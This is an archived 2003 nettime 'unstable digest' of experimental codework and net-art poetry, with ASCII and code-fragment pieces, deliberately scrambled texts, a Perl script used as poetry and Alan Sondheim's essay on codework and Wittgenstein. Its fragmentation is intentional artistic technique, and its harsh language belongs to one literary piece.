gu fish make gu fish make gu fish make gu fish make gu fish make gu\nfish make gu fish make gu fish make gu fish make gu fish make gu fish\nmake gu fish make gu fish make gu fish make gu fish make gu fish make gu\nfish make gu fish make gu fish make gu fish make gu fish make gu fish\nmake gu fish make gu fish make gu fish make gu fish make gu fish make gu\nfish make gu fish make gu fish make gu fish make gu fish make gu fish\nmake gu fish make gu fish make gu fish make gu fish make gu fish make gu\nfish make gu fish make gu fish make gu fish make gu fish make gu fish\nmake gu fish make gu fish make gu fish make gu fish make gu fish make gu\nfish make gu fish make gu fish make gu fish make gu fish make gu fish\nmake gu fish make gu fish make gu fish make gu fish make gu fish make gu\nfish make gu fish make gu fish make gu fish make gu fish make gu fish\nmake gu fish make gu fish make gu fish make gu fish make gu fish make gu\nfish make gu fish make gu fish make gu fish make gu fish make gu fish\nmake gu fish make gu fish make gu fish make gu fish make gu fish make gu\nfish make gu fish make gu fish make gu fish make gu fish make gu fish\nmake gu fish make gu fish make gu fish make gu fish make gu fish make gu\nfish make gu fish make gu fish make gu fish make gu fish make gu fish\nmake gu fish make gu fish make gu fish make gu fish make gu fish make gu\nfish make gu fish make gu fish make gu fish make gu fish make gu fish\nmake gu fish make gu fish make gu fish make gu fish make gu fish make gu\nfish make gu fish make gu fish make gu fish make gu fish make gu fish\nmake gu fish make gu fish make gu fish make gu fish make gu fish make gu\nfish make gu fish make gu fish make gu fish make gu fish make gu fish\nmake gu fish make gu fish make gu fish make gu fish make gu fish make gu\nfish make gu fish make gu fish make gu fish make gu fish make gu fish\nmake gu fish make gu fish make gu fish make gu fish make gu fish make gu\nfish make gu fish make gu fish make gu fish make gu fish make gu fish\nmake gu\n\n                [100-PEOPLE.gif] [pixel.php?c=offerweb1omm&s=26]\nfish make gu fish make gu fish make gu fish make gu fish make gu fish\nmake gu fish make gu fish make gu fish make gu fish make gu fish make gu\nfish make gu fish make gu fish make gu fish make gu fish make gu fish\nmake gu fish make gu fish make gu fish make gu fish make gu fish make gu\nfish make gu fish make gu fish make gu fish make gu fish make gu fish\nmake gu fish make gu fish make gu fish make gu fish make gu fish make gu\nfish make gu fish make gu fish make gu fish make gu fish make gu fish\nmake gu fish make gu fish make gu fish make gu fish make gu fish make gu\nfish make gu fish make gu fish make gu fish make gu fish make gu fish\nmake gu fish make gu fish make gu fish make gu fish make gu fish make gu\nfish make gu fish make gu fish make gu fish make gu fish make gu fish\nmake gu fish make gu fish make gu fish make gu fish make gu fish make gu\nfish make gu fish make gu fish make gu fish make gu fish make gu fish\nmake gu fish make gu fish make gu fish make gu fish make gu fish make gu\nfish make gu fish make gu fish make gu fish make gu fish make gu fish\nmake gu fish make gu fish make gu fish make gu fish make gu fish make gu\nfish make gu fish make gu fish make gu fish make gu fish make gu fish\nmake gu fish make gu fish make gu fish make gu fish make gu fish make gu\nfish make gu fish make gu fish make gu fish make gu fish make gu fish\nmake gu fish make gu fish make gu fish make gu fish make gu fish make gu\nfish make gu fish make gu fish make gu fish make gu fish make gu fish\nmake gu fish make gu fish make gu fish make gu fish make gu fish make gu\nfish make gu fish make gu fish make gu fish make gu fish make gu fish\nmake gu fish make gu fish make gu fish make gu fish make gu fish make gu\nfish make gu fish make gu fish make gu fish make gu fish make gu fish\nmake gu fish make gu fish make gu fish make gu fish make gu fish make gu\nfish make gu fish make gu fish make gu fish make gu fish make gu fish\nmake gu fish make gu fish make gu fish make gu fish make gu fish make gu\nfish make gu fish make gu fish make gu fish make gu fish make gu fish\nmake gu fish make gu fish make gu fish make gu fish make gu fish make gu\nfish make gu fish make gu fish make gu fish make gu fish make gu fish\nmake gu [IMAGE]\n                 Click here to unsubscribe from these mailings.\n\n\n\n\nDate: Wed, 09 Jul 2003 22:03:52 +0200\nFrom: pascale gustin <gustin.pascale {AT} free.fr>\nTo: _arc.hive_ {AT} lm.va.com.au, 7-11 {AT} mail.ljudmila.org\nSubject: code x\n\n\n\n\n\n\n                 code x\n           -----------\n\n           C   \\              |    x\n                \\         e   |s.p.a.c.e.\n                 \\            +----\n                  \\           |e.x.c.l.a.m.          |\n               C++            |q.u.o.t.e.d.b.l.          |    x\n                     \\        |q.u.o.t.e.d.b.l.          |\n                      \\       +-----\n                       \\      |n.u.m.b.e.r.s.i.g.n.         |\n                     For\\ran  |dollar          |\n                              |percent /        |         |         |\n                           \\  +-------/\n                            \\ |ampersand\n           C + C++           \\|quote/ight\n                              \\pare/left\n                              +\\--/--\n                              |p\\/enright         |\n           C +       Fortran  |a/\\erisk         |\n                              |/lu\\          |\n                              /----\\----+----\n                             /|comma\\         |\n               C++ + Fortran/ |hyphen\\         |    x\n                           /  |period \\       |\n                          /   +--------\\+------\n                         /    |s.l.a.s.h.         |\n           C + C++ + For/ran  |z.e.r.o         |    x\n                       /      |o\\ne        \\|         |\n                      /       +--\\------+--\\------+---\n                     /         two\\\n                    /          thre\\\n                   /           four \\\n                  /             f.i\n                               s.6\n                               7\n\n\n\n\n\n\n\n\n\n-- \npasc {AT} csaq\n\n-r-W-x-R-W-X-R- x\nautobuild/wheel\n---------------[18608128 - s-ile-nses]\n               {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____|\n\\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00 > # \\ /\n/ /____| | | \\ / / /____| | | # > # \\ / / /____| | | \\ / / /____| | | # >\n> > Thank you for participating in 7-11 MAILING LIST > SUBSCRIBER\nSATISFACTION SURVEY. > > > > >\n###################################################### >\n#1.7.100(today=\"7-11.00 071101010 07110101 0711.00100# > # # > # _____ _ _\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n\\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00\n071101010 07110101 0711.00100# > ###########\nhttp://mail.ljudmila.org/mailman/listinfo/7-11\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ /\n/ /____|##################################################################\n>## ############      ########## # ### ### ##      ###### >\n####  ######  #### #### ######  ##############  ###### >\n# ####  ##### #### ########## ######  ###   ####### >\n>\n>\n\n\n\nDate:         Wed, 9 Jul 2003 23:17:42 -0400\nFrom: Alan Sondheim <sondheim {AT} PANIX.COM>\nSubject: What Really Happened in the Wallvoid\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nWhat Really Happened in the Wallvoid\n\n\nPrivate _ Private _ 1. me!\" = 1. \"don't = you \"don't ever you fuck ever\nme!\" fuck alone\" \"leave me \"leave alone\" me 1. me\" with fuck me\" with 2.\nfuck\" fuck\" \"don't 3. out\" squeeze \"don't out\" me End 1_ \"nikuko's = lost\n\"nikuko's her lost baby!\" her \"nikuko dropping\" \"nikuko 1. baby\" fucked\n\"nikuko's baby\" fucked dropped \"nikuko's \"i said \"i nikuko's said .\n\"miscarriage?\" \"miscarriage?\" = nikuko said dead \"nikuko's 2_ \"not = both\n\"not and nikuko nikuko\" and want \"i my want baby my back!\" baby \"stop =\nit!\" \"stop fucking \"stop us!\" with \"get = out \"get of out here!\" of \"baby\n= 1. cunt!\" leaves \"nikuko cunt!\" her 3_ away \"get from away \"take = cunt\"\nmy in me cock\" my to want eat to your eat 1_ \"i'd = never \"i'd screw never\nyou!\" screw coming \"nikuko going\" and cunt my back\" cunt 2. back!\" \"you'll\nhave never me, have any me, get said out!\" get \"stick = it \"stick in!\" it\ntold \"i 2_ \"everyone = forever\" me \"you just \"you hunger \"you for hunger\nwanted never anything wanted so anything bad\" so can't \"you see can't 1_\n\"(a|a)|(b|b)\" = wall \"nikuko's flesh\" of \"fgfgggfgfgfgggfgggfggg\"  \"f\" =\n\"g\" = \"fggg\" = \"fg\" = Picture1_ \"wall\" = you\" for \"put i you\nTimer1_Timer()  Dim As MoveH Dim As MoveH Integer, As MoveV Integer,\nMoveH2 Integer, MoveV2 Integer, MoveH3 Integer, MoveV3 Integer, Integer As\nIf Then 1.Top If > 1.Top Me.ScaleHeight > Then Me.ScaleHeight 0 0= Else\n-40= 1.Left If Me.ScaleWidth > 1.Move - 1.Left MoveH, - 2.Top If -60 =\n2.Left If -6 = 2.Move MoveV2 MoveH2, - 3.Top If -80 = 3.Left If Else: -8\n-8 = 3.Move MoveV3 MoveH3 -\n\n\n___\n\n\n\nDate: Tue, 8 Jul 2003 20:38:57 -0700\nFrom: MWP <mpalmer {AT} JPS.NET>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: AFTER R DOLOR\n\nAFTER Roethke's DOLOR\n\n\n\n.\n\n\n\nI path, pacesve sects ? known ro ?  ? ness in  ?  ? ects thein an thects ?\nolder thaces ? l thects ? sin .\n\nAn ? n the mi ? s of dolor ofrom of places a ? ceptic plder ?  ?  ?  ? ers\nacest in thein anila swi ?  ? ectsion r of of  ?  ?  ? e mi ? .\n\n\n\nI fol ? om, lor older of almos ofrom of pad .\n\nAnders immation anders of plicate placely  ?  ?  ? ects ? grap ? tory ?  ?\n?  ? late swi ?  ? ects of multinvisiblely  ? y of almos ofrom room, lationd\npic plterable ?  ? om, .\n\nAndangely ry, s of immation andust roommacubliceptic plterazing thects ?  ?\n? ectss,\n\nLom, lteracesthe ion on in in in in anely basin i ? m, laces ? ugh lteraces\n? ects of  ?  ?  ?  ? ip, cate of  ? lteraces ? ects ?  ?  ?  ? of inalterab\n? .\n\n\n\nI hairablects ? ects ? the ion of in of hai ? ons  ?  ? .\n\n\n\nI unalteracesves acestchbolde ?  ? .\n\n\n\nI ?  ?  ? ing  ?  ?  ?  ? of balte.\n\nAndium ?  ?  ?  ? ects floutiond pan flica ? ectsr thaces ? l thects of\nplicaces ? hos  ? s of almon ofrom eye ? ave s,\n\nFin an of I ha,\n\nE.\n\nAndust of pencing  ?  ?  ? ectsraph ?  ?  ? ing throur, an fl of almon ofrom\ncommmacugh licathe  ?  ? r thacespitchair.\n\n\n\nI of plicacesplacects ?  ?  ?  ? igra ? .\n\n\n\nI pencati ?  ? m, laces ?  ?  ? .\n\nAnd del thects ? seen.\n\nAn ?  ?  ?  ? immac placesthe ion of in of almor ofrom wal ?  ? ve sectsseen\nI ha fi.\n\nAndust alm ?  ?  ? ectsculation ?  ?  ?  ? ndardust ? .\n\n\n\nI pathe wacesve s.\n\n\n\nI ? sible eye dang a fol ?  ? solathan ? flou ?  ? more ins ?  ? .\n\n\n\nI kno ? an f ? lders of almor ofine silin anoonsolathe ing throunalthe ilm\noppinoon ?  ?  ?  ? in and deyebrous of  ? he pa fing a ? f mulor of m ?\nrows.\n\n\n\nI immaces ?  ? ve sects.\n\n\n\nI fil ? olderabl.\n\n\n\nI fol ? a fi ? g theyeb ? of m ? s of of  ? he pa fing a ? s,\n\nFisib ? immac places ?  ?  ? ine  ? tory.\n\n\n\nI immaces ?  ?  ? sola.\n\n\n\nI invin a ?  ? invis,\n\nFitch ? l thects.\n\n\n\nI of  ? hboa ? of multigrap.\n\n\n\nI nailor oppi ? grey immard  ?  ? eyebrnoon roons oppinails of dolor ofine\nin  ? e sadupl ?  ?  ?  ?  ?  ?  ?  ? ph, pencin a ? grey immails ?  ? in\nand d.\n\n\n\nI ?  ? ic p ? m on dolon i.\n\n\n\nI stand pacesic plder.\n\n\n\nI immacesndardard foldange pa ? immac places ? .\n\n\n\nI palects ? eir  ?  ?  ? wall ?  ?  ?  ? le haces ? in a ? grey in  ?  ? .\n\n\n\nI of plicacesl th.\n\n\n\nI path, pacesion room.\n\n\n\nI in  ?  ? .\n\n\n\nI fol ?  ?  ?  ? immac places ? .\n\n\n\nI dan ? rablects.\n\n\n\nI ? solatandacesndar ? aces.\n\nAn.\n\n\n\nI ? ft, aces ? e mi ?  ?  ?  ?\n\n\n\n\n\n\n(c) mwp\n\n\n\nTo: webartery {AT} yahoogroups.com\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nDate: Sun, 6 Jul 2003 16:10:08 -0400 (EDT)\nSubject: of chanting the beginning\n\n\n\n\nof chanting the beginning\n\n\nheaven\n   heaven\nearth\n   earth\nblack\n   black\nyellow black, earth is yellow\n:: earth is yellow yellow\nis yellow yellow :: heaven\nblack, yellow :: heaven is\nthe   the cosmos\ncosmos\n the cosmos the\nare   are vast\nvast\n are vast are\na  a desolate wasteland\ndesolate a desolate wasteland a\nwasteland\ndesolate wasteland a desolate\nsun the sun fills the\nfills\nsun fills the sun\nmoon the moon fills the\nsets the west the sun\nin west the sun sets\nwest\nsun sets in the\nit's   it's dusk\ndusk\n it's dusk it's\nmorning\ncold\n   cold\ncomes\nheat\n the heat the\n   goes\n in autumn in\nharvesting\nwinter\n in winter in\nhiding, the hiding, concealing the\nconcealing\nhiding, concealing the hiding\n\nintercalary timing intercalary\nleftover the leftover residue the\nresidue\nbecomes\nthe lu so the\nbamboo   bamboo pitches\npitches\n bamboo pitches bamboo\nshift   shift position\nposition\n shift position shift\nopen\n   open\nclouds\n   clouds\nascend,   ascend, galloping,\ngalloping,\n ascend, galloping, ascend,\nsending\n   sending\nrain\n   rain\ndew\n   dew\nforms\n   forms\nbecoming\n   becoming\nfrost\n   frost\ngold\n   gold\ngives   gives birth\nbirth\n gives birth gives\nbeautiful\n   beautiful\nwater\n   water\njade\n   jade\nemanates   emanates out\nKun from Kun mountain from\nmountain\nKun mountain from Kun\nsummit\n   summit\ndouble-edged the double-edged dagger the\ndagger\ndouble-edged dagger the double-edged\nfuriously   furiously named\nnamed\n furiously named furiously\nhuge\n\n#!/usr/local/bin/perl5\n   #!/usr/local/bin/perl5\nwhile  while (<STDIN>) {\n(<STDIN>) while (<STDIN>) { while\n{\n(<STDIN>) { while (<STDIN>)\n = split /[\\s]+/, $_;\n {AT} words split /[\\s]+/, $_;\n= /[\\s]+/, $_;   {AT} words\nsplit $_;   {AT} words =\n/[\\s]+/,\n  {AT} words = split\n$_; {AT} words = split /[\\s]+/,\n {AT} spaces split /[\\S]+/, $_;\n/[\\S]+/,\n  {AT} spaces = split\nfor $#words; $x++) {\n($x=0; $x++) {  for\n$x {  for ($x=0;\n<=  for ($x=0; $x\n$#words; for ($x=0; $x <=\n$x++)\n($x=0; $x <= $#words;\n$word_count{$words[$x]}++;  $word_count{$words[$x]}++;\nif \",$words[$x-2],\" \",$words[$x-1],\"\\n\" }\n($word_count{$words[$x]} \",$words[$x-1],\"\\n\" }  if\n== }  if ($word_count{$words[$x]}\n1)  if ($word_count{$words[$x]} ==\n{print if ($word_count{$words[$x]} == 1)\n$words[$x],$spaces[$x+1],$words[$x-4],\"\n($word_count{$words[$x]} == 1) {print\n\",$words[$x-3],\" == 1) {print $words[$x],$spaces[$x+1],$words[$x-4],\"\n\",$words[$x-2],\" 1) {print $words[$x],$spaces[$x+1],$words[$x-4],\n\" \",$words[$x-3],\"\n\",$words[$x-1],\"\\n\"\n{print $words[$x],$spaces[$x+1],$words[$x-4],\" \",$words[$x-3],\n\" \",$words[$x-2],\"\n}$words[$x],$spaces[$x+1],$words[$x-4],\" \",$words[$x-3],\n\" \",$words[$x-2],\" \",$words[$x-1],\"\\n\"\n\n___\n\n \n\nYour use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/ \n\n\n\n\n\nDate: Thu, 10 Jul 2003 16:47:57 +0200\nFrom: 404 <404 {AT} jodi.org>\nTo: syndicate {AT} anart.no\nSubject: Re: Rohr ,\n\nX-eGroups-Return:\nsentto-7136177-99-1057782614-jodi=jodi.org {AT} returns.groups.yahoo.com\nX-eGroups-Return: Paul-David_Van_Atta {AT} hilton.com\nX-Sender: Paul-David_Van_Atta {AT} hilton.com\nX-Apparently-To: Cupc\n\n              0.1 :noisreV-EMIM\n             tsil :tsiL-gniliaM\n.spuorgoohay {AT} epocsodielKekacpuC\ngoohay {AT} renwo-epocsodielKekacpuC\n     tsil gniliam :oT-derevileD\n.spuorgoohay {AT} epocsodielKekacpuC\n               klub :ecnedecerP\n              :ebircsbusnU-tsiL\nusnu-epocsodielKekacpuC:otliam<\n                          >moc.\n 94:60:31 3002 luJ 9 ,deW :etaD\npocsodielKekacpuC[ :eR :tcejbuS\nay {AT} epocsodielKekacpuC :oT-ylpeR\n                        :sutatS\n\n                 .won em evomeR\n                     ,uoy knaht\n      moc.oohay {AT} 2002_ooloohcook\n  :etorw moc.loa {AT} 423revliSE ---\n               .oot em evomeR >\n                      .sknahT >\n           moc.loa {AT} 423revlise >\n                              >\n                              >\n\n\n_______________________________\n                 ?!oohaY uoy oD\n9.92$ ylno woN - LSD !oohaY CBS\n           moc.oohay.cbs//:ptth\n\n\n!oohaY ------------------------\n      >--~---------------------\noc.skniyM ta segdirtraC knI yuB\n    & segdirtrac tejkni ytilauQ\nro 05$ no h/s EERF !stik llifer\n         .gnippihs tsaF .adanaC\npsa.l/moc.gnikcart1c.www//:ptth\nYBZwh/moc.oohay.kcilc.su//:ptth\n                         MT/Blo\n-------------------------------\n         >-~-------------------\n\n,puorg siht morf ebircsbusnu oT\n {AT} ebircsbusnu-epocsodielKekacpuC\n\n\n                             --\n          tsil gniliam tsoprhor\n        ed.netsilorkim {AT} tsoprhor\nb-igc/ed.eciffonepo.tsop//:ptth\n                      tsoprhor/\n\nulmmasnethcirhcaN tsoprhor ednE\n                           3049\n*******************************\n                          *****\n\n\nus si spuorG !oohaY fo esu ruoY\nmret/ofni/moc.oohay.scod//:ptth\nakeKleidoscope {AT} yahoogroups.com\nX-MS-Has-Attach:\nX-MS-TNEF-Correlator:\nThread-Topic: [CupcakeKleidoscope] REMOVE\nThread-Index: AcNGVxFJP7OTFnyNTTGX4VuyfY6n1wAADxNg\n\n\nPlease delete me from your list\n\n\n--\nrohrpost mailing list\nrohrpost {AT} mikrolisten.de\nhttp://post.openoffice.de/cgi-bin/mailman/listinfo/rohrpost\n\nEnde rohrpost Nachrichtensammlung, Band 1, Eintrag 9403\n*******************************************************\n\n\n\nFrom: pascale gustin <gustin.pascale {AT} free.fr>\nTo: _arc.hive_ {AT} lm.va.com.au, 7-11 {AT} mail.ljudmila.org\nSubject: Absolute path do nothing\nDate: Tue, 08 Jul 2003 02:32:56 +0200\n\ni.m.p.o.r.t.\ni.m.p.o.r.t.\n\n                                /\n                               /m.p.o.r.t\n\n\n                           /\n                         except\n                     retu/n\n                        /\n\n                    i/\n                     /\n0 64  0 Very dark g/een\n0 128 0 Dark green/\n0 192 0\tMid green/\n0 255 0\tGreen   /\n192 255 192   L/ght green\n0 0 128\tDark  /lue\n0 0 192\tMid  /blue\n             /\n            /eturn\n           /\n192 192 2/ 5    d.n.i.g.h.t.b.l.u.e\n64 64 0\tV        e  ry dark yel\n128 128/ 0      Dark yello\n192 19/2 0      Mid yell\n255 2/55 0      Yello  w\n255 /255 192    Light y\n0 /64 64        Very dark c\n  o.b.s.o.l.e.t.e.p.a.t.h.\n    192 192      Mid yan\n0 255 255       C+\n192 255 255\t\n\n\n\n\n\n\n\n-- \npasc {AT} csaq\n\n-r-W-x-R-W-X-R- x\nautobuild/wheel\n---------------[18608128 - s-ile-nses]\n              {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nnettime unstable digest vol 55\nSun Jul 13 02:32:45 2003\n\n\nSubject: =?iso-8859-1?Q?=28=22T=FCrkenlouis=22=29=2C_A_A_*_S_P_H_I_N_X_=28a_theft_?= =?iso-8859-1?Q?in_its_time=29?=\n    From: phaneronoemikon <solipsis {AT} HEVANET.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: _cross.ova.ing ][4rm.blog.2.log][ 23/06/2003-08/07/2003_\n    From: mez <netwurker {AT} hotkey.net.au>\n    To: _arc.hive_ {AT} lm.va.com.au,7-11 {AT} mail.ljudmila.org\n\nSubject: _cross.ova.ing ][4rm.blog.2.log][ 12/06-10-06-03_\n    From: \"][mez][\" <netwurker {AT} hotkey.net.au>\n    To: _arc.hive_ {AT} lm.va.com.au,7-11 {AT} mail.ljudmila.org\n\nSubject: CDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnonmnopqrstutsrqponmlkjihgfefghi jklmnopqrs abcdefghijklmnopqrqponmlkjihgfe utsrqponmlkjihgfefghijklkjihgfefghijklmnopqrs\n    From: MWP <mpalmer {AT} JPS.NET>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: We are looking for 100 people to make rich.\n    From: One Minute Millionaire <omswondermn {AT} myspecialemedia.com>\n    To: sondheim {AT} panix.com\n\nSubject: code x\n    From: pascale gustin <gustin.pascale {AT} free.fr>\n    To: _arc.hive_ {AT} lm.va.com.au, 7-11 {AT} mail.ljudmila.org\n\nSubject: What Really Happened in the Wallvoid\n    From: Alan Sondheim <sondheim {AT} PANIX.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: AFTER R DOLOR\n    From: MWP <mpalmer {AT} JPS.NET>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: of chanting the beginning\n    From: Alan Sondheim <sondheim {AT} panix.com>\n    To: webartery {AT} yahoogroups.com\n\nSubject: Re: Rohr ,\n    From: 404 <404 {AT} jodi.org>\n    To: syndicate {AT} anart.no\n\nSubject: Absolute path do nothing\n    From: pascale gustin <gustin.pascale {AT} free.fr>\n    To: _arc.hive_ {AT} lm.va.com.au, 7-11 {AT} mail.ljudmila.org\n\n\n\nlurking editors\n\nbeatrice beaubien <webmaven {AT} i2eye.com>\n    7-11 nettime-bold thingist \nflorian cramer <cantsin {AT} zedat.fu-berlin.de>\n    7-11 _arc.hive_ eu-gene o-o rhizome rohrpost webartery wryting \nalan sondheim <sondheim {AT} panix.com>\n    7-11 _arc.hive_ poetics siratori trAce webartery wryting \n$Id: digestunstable.pl,v 1.13 2003/01/26 18:51:21 paragram Exp $\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Sun, 13 Jul 2003 13:23:34 +0200",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "message-id": "200307131434.h6DEYPC28503 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0307/msg00059.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "<nettime> unstable digest vol 55"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                "id": "00036",
                "content": "\nFrom: pascale gustin <gustin.pascale {AT} free.fr>\nTo: 7-11 {AT} mail.ljudmila.org, _arc.hive_ {AT} lm.va.com.au\nSubject: Demain les machines pleureront\nDate: Sun, 06 Jul 2003 17:43:14 +0200\n\n   6     \\ W\n         \\ WX\n             WX\n        W  X 600\nC 67 ; WX  \\600 ;\nC 68 ; WX 6 \\00 ; N\nC 69 ; WX 60 \\ 0 ; N E\nC 70 ; WX 600 \\  ; N F ; B 53\nC 71 ; WX 600 ;\\   N G ; B 31\n\\ 72 ; WX 600 ; \\  N H ; B 32\nC\\73 ; WX 600 ; N\\   I ; B 9\nC \\4 ; WX 600 ; N $    ; B\n\\C 5 ; WX 600 ; N  \\   ;\n     \\         ; N L b\n      \\      0 ; N M  a\n           600 ; N N\n        \\X 600 ; N      c\n        WX 600 ; N       k\n         \\  00 ;          s\n         X\\600             l\n        WX \\0               \\\n           X\\                \\\n        WX\n        W\n   C                            \\\nC 8                             \\\nC 89                             \\a\nC 9                               \\s\n                                     h\n\n\n\n\n\n                                          \\\n                          \\\\b              $\n         /\nhyphen\nperiod/\nslash/\nzero/\none/\ntw/\nt/ree\n\n\n\n\n\n\n\n\n\n\n\n\nthe machines who cry\n\nLe code me parait etre l'outil indispensable de nos rapports avec les\nmachines. C'est lui qui, \u0155 mon sens nous permet de \"dialoguer\" au mieux\navec elles. Le code est un texte et ce texte, ces textes qui emplissent\nles machines avec lesquelles nous travaillons me semblent pleins d'une\npotentialit\u00e9 po\u00e9tique.\n\nL'ordinateur est une \"boite grise\" que l'on tient g\u00e9n\u00e9ralement pour\nacquise : elle simule. Dans mon geste d'exploration du code, je casse ce\nm\u00e9canisme sous-jaccent du programme de simulation, en disjoint et\nfragmente les \u00e9l\u00e9ments.\nJe situe donc mon travail dans cet \u00e9troit champ d'investigation de la\nnon-simulation, au revers de la r\u00e9alit\u00e9 virtuelle :\n\nhttp://cuneiform.free.fr\n\n\n-- \npasc {AT} csaq\n\n-r-W-x-R-W-X-R- x\nautobuild/wheel\n---------------[18608128 - s-ile-nses]\n                            {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nTo: _arc.hive_ {AT} lm.va.com.au\nFrom: mez <netwurker {AT} hotkey.net.au>\nSubject: Codeworld [by Alan Sondheim]\nDate: Fri, 04 Jul 2003 16:35:56 +1000\n\nCodeworld\nAlan Sondheim\n12:55pm up 2 min, 1 user, load average: 0.31, 0.19, 0.07 USER TTY FROM \nLOGIN {AT}  IDLE JCPU PCPU WHAT root tty1 - 12:54pm 0.00s 0.46s 0.05s w\nDie Welt ist alles, was der Fall ist. Ogden: The world is everything that \nis the case. Pears/McGuinness: The world is all that is the case. Die Welt \nist die Gesamtheit der Tatsachen, nicht der Dinge. Pears/McGuinness: The \nworld is the totality of facts, not of things. Ogden: The world is the \ntotality of facts, not of things. ... Die Tatsachen im logischen Raum sind \ndie Welt. Die Welt zerfallt in Tatsachen. Ogden: The facts in logical space \nare the world. The world divides into facts. ... Wovon man nicht sprechen \nkann, daruber muss man schweigen. Ogden: Whereof one cannot speak, thereof \none must be silent. Pears/McGuinness: What we cannot speak about we must \npass over in silence. (From beginning and end of Wittgenstein, Tractatus \nLogico-Philosophicus, Ogden translation 1922, Pears/McGuinness translation \n1961.)\n[1] TLP describes a Dostoevskian crystalline world divisible into facts. \nThe German is clear; the motto to the book, by Kurnberger states, in \ntranslation: ... and whatever a man knows, whatever is not mere rumbling, \nand roaring that he has heard, can be said in three words.\n[2] TLP portends ideality. The world is logical, mathematical, capable of \nclear division. Logical space is the space, I would assume, of the natural \nnumbers, if not the integers; as Russell says in his introduction, TLP \npresents, inscribes, a finite mathematics -- there's no room for the \ncontinuum, and proof of the continuum hypothesis was far in the future.\n[3] The translations are different, almost never radically so, but \ndifferent nonetheless. There is a residue in German such that both English \nversions converge, but often never meet. The sememes are equivalent, but \nonly to a degree; translations are almost never one-to-one.\n[4] In this logical space of facts, programming, and protocols, there is \nalways a wavering, always room, always doubt, critique, and I would say \ndesire as well. Never mind that this wor(l)d breaks down, evidenced a few \ndecades later by Godel, Tarski, Skolem, etc.: Coherency, living within the \nsafety-net of mathesis, matrix, maternality, remains a dream of humanity. \nDNA coding, cryptography, hacking the world -- all appear to guarantee that \neverything is possible.\n[5] Computer languages are logical; computers are presumed so, but aren't; \nprotocols are logical as well; logical spaces may be compared to \ndrive-space; garbage-in, garbage-out; and so forth. Hacking depends on a \nclosed world with closed loopholes; the loopholes themselves are coherent, \nlogical, _there._\n[6] Codework, code writing, rides within and throughout the logical world, \nas a disturbance, a sign of things to come, both extension and breakdown.\n[7] Where does the content lie? Is it in the translation of code into \nmessiness or residue? Is it in the interpretation of residue? Or perhaps, \nand herewith a criticism, is it in the wonderment, confusion, and novelty \nof the residue itself?\n[8] Is codework a minor art, minor literature? What is the point of \nrepeatedly shaking the scaffolding -- if not the emergence, in the future, \nof an other or another approach, or an other, being or organism, for which \ncodework now both provides augury and its weakness as portal/welcoming? For \nwhat is come among us already no longer speaks the world of logical facts, \njust as computers are no longer large-scale calculators, but something else \nas well, something unnamed, fearful -- that fearfulness already documented \nby, say, Cruikshank in the 19th century.\n2:20pm up 1 min, 1 user, load average: 0.33, 0.18, 0.06 USER TTY FROM \nLOGIN {AT}  IDLE JCPU PCPU WHAT root tty1 - 2:19pm 0.00s 0.42s 0.05s w\n[9] Codework references the alterity of a substrate which supports, \ngenerates, and behaves as a catalyst in relation to its production. To this \nextent, codework is self-referential, but no text is completely \nself-referential (sr); things waver. So for example 'ten letters' and 'two \nwords' and 'english' may be considered sr -- but only to the extent that \nthe phrases are presumed to apply to themselves. Extended: 'This sentence \nhas thirty-one letters.' -- 'This sentence has five words.' -- 'This is an \nenglish sentence.'\n[10] What is the residue? What are the sentences 'about'? On the surface, \nletters, words, language. This is an additional or diacritical relation- \nship to sr; if one, for example, didn't know English, none of these would \nmake sense.\n[11] All sr possesses a residue -- an _attribute tag._ In codework, which \nhas a component of sr, the tag may be plural, muddied -- the world is never \npresumed complete, total. Codework is not an instance in this regard of \nmathematical platonism or 